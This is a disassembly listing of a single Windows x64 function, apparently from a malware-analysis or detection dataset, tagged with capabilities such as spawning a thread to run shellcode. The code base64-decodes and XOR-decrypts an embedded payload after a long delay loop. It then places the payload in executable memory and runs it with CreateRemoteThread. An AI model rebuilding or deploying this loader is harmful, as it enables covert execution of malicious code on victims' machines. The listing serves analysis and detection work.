Function at 0x14000180f
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x888
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x820], ecx
mov qword [rbp + 0x828], rdx
call sym.__main
call sym.excess_code
mov qword [rbp + 0x7c0], 0
mov qword [rbp + 0x7f8], 0
mov qword [rbp + 0x7f0], 0
mov qword [rbp + 0x7e8], 1
mov qword [rbp + 0x7d0], 0
lea rax, [rbp + 0x7c0]
mov rdx, rax
lea rax, str.dmIgeyhW_vJ7VaP8YIOn2Atv6pfTSn25wL71V5s0CAx7lg9_KZzYwHcrR8QcZiZ6No1An9th9r8ABCRs2dNjsE21tHCKYgj0AgTq34Co1Cie39irfgl9JNMDthT7V97_BSOGAits6_JTY8u_Yg2wC9Gtvgqf0iEimih7di9umoZiZ6wL3t4wWDKS767nhvMETzprPGCMJhQWO7Duwnk998gIaN4HJzD8pMZEZTw4PP0aPBw88WJgT1Zr2iK8gTYuP8UUGXAIncHvOE3aTi0jNA9TURHuTeseomAskAa9PgJgWddzRTQ1H5KnVUwV8A96tG3mjJmBicIazR93DrYB_cwVizWe1FGhe2_K732Ni7kN7fO7UU5OaYPFeRMbQ8VvFxSrkwimHR6sSe1EUMQa9HN_NFI6GQZF30NI582Bk5IytaSeajcSJpkozvQfKoHLb_a_eMCHLyEK8OJ6U1Hh_jj4Gj65NlBk5sy0HM23q84yqRy2cT4EAKThVxhq0vur7DkFXglocrlrXTS621ahTBOfsgCk4c_as_tsr7Rakw89ELGsSeSEBtDurJK49J3BIEzVC7jFPtYuWE5oCP58xHwozD3Iam3AorkxUvku61rek4hosVqH9SUyYDVZM3rjEwgBywkmn26JHfywU9EgfM0IByljikVNyAAAA
mov rcx, rax
call sym.base64_decode
lea rax, str.dmIgeyhW_vJ7VaP8YIOn2Atv6pfTSn25wL71V5s0CAx7lg9_KZzYwHcrR8QcZiZ6No1An9th9r8ABCRs2dNjsE21tHCKYgj0AgTq34Co1Cie39irfgl9JNMDthT7V97_BSOGAits6_JTY8u_Yg2wC9Gtvgqf0iEimih7di9umoZiZ6wL3t4wWDKS767nhvMETzprPGCMJhQWO7Duwnk998gIaN4HJzD8pMZEZTw4PP0aPBw88WJgT1Zr2iK8gTYuP8UUGXAIncHvOE3aTi0jNA9TURHuTeseomAskAa9PgJgWddzRTQ1H5KnVUwV8A96tG3mjJmBicIazR93DrYB_cwVizWe1FGhe2_K732Ni7kN7fO7UU5OaYPFeRMbQ8VvFxSrkwimHR6sSe1EUMQa9HN_NFI6GQZF30NI582Bk5IytaSeajcSJpkozvQfKoHLb_a_eMCHLyEK8OJ6U1Hh_jj4Gj65NlBk5sy0HM23q84yqRy2cT4EAKThVxhq0vur7DkFXglocrlrXTS621ahTBOfsgCk4c_as_tsr7Rakw89ELGsSeSEBtDurJK49J3BIEzVC7jFPtYuWE5oCP58xHwozD3Iam3AorkxUvku61rek4hosVqH9SUyYDVZM3rjEwgBywkmn26JHfywU9EgfM0IByljikVNyAAAA
mov rcx, rax
call sym.strlen
shr rax, 2
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub eax, 1
mov dword [rbp + 0x7e4], eax
jmp 0x1400019b2
mov dword [rbp + 0x7e0], 0
jmp 0x140001916
mov dword [rbp + 0x7dc], 0
jmp 0x140001903
mov rdx, qword [rbp + 0x7f0]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x7e8], rax
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x2710
jle 0x1400018c8
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x2710
jle 0x1400018bc
mov rdx, qword [rbp + 0x7c0]
mov eax, dword [rbp + 0x7e4]
cdqe
add rax, rdx
movzx eax, byte [rax]
test al, al
je 0x1400019ab
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x800
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x7f8], rax
mov eax, dword [rbp + 0x7e4]
lea r8d, [rax + 1]
mov rdx, qword [str.AeB79_ra0_3_]
mov rcx, qword [rbp + 0x7c0]
lea rax, [rbp - 0x40]
mov r9d, r8d
mov r8, rdx
mov rdx, rax
call sym.xor_encrypt_decrypt
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
lea rax, [rbp - 0x40]
mov edx, 0x800
mov r8, rdx
mov rdx, rax
call sym.memcpy
jmp 0x1400019bf
sub dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0
jns 0x1400018b0
mov rbx, qword [rbp + 0x7f8]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rbx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x7f8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x888
pop rbx
pop rbp
ret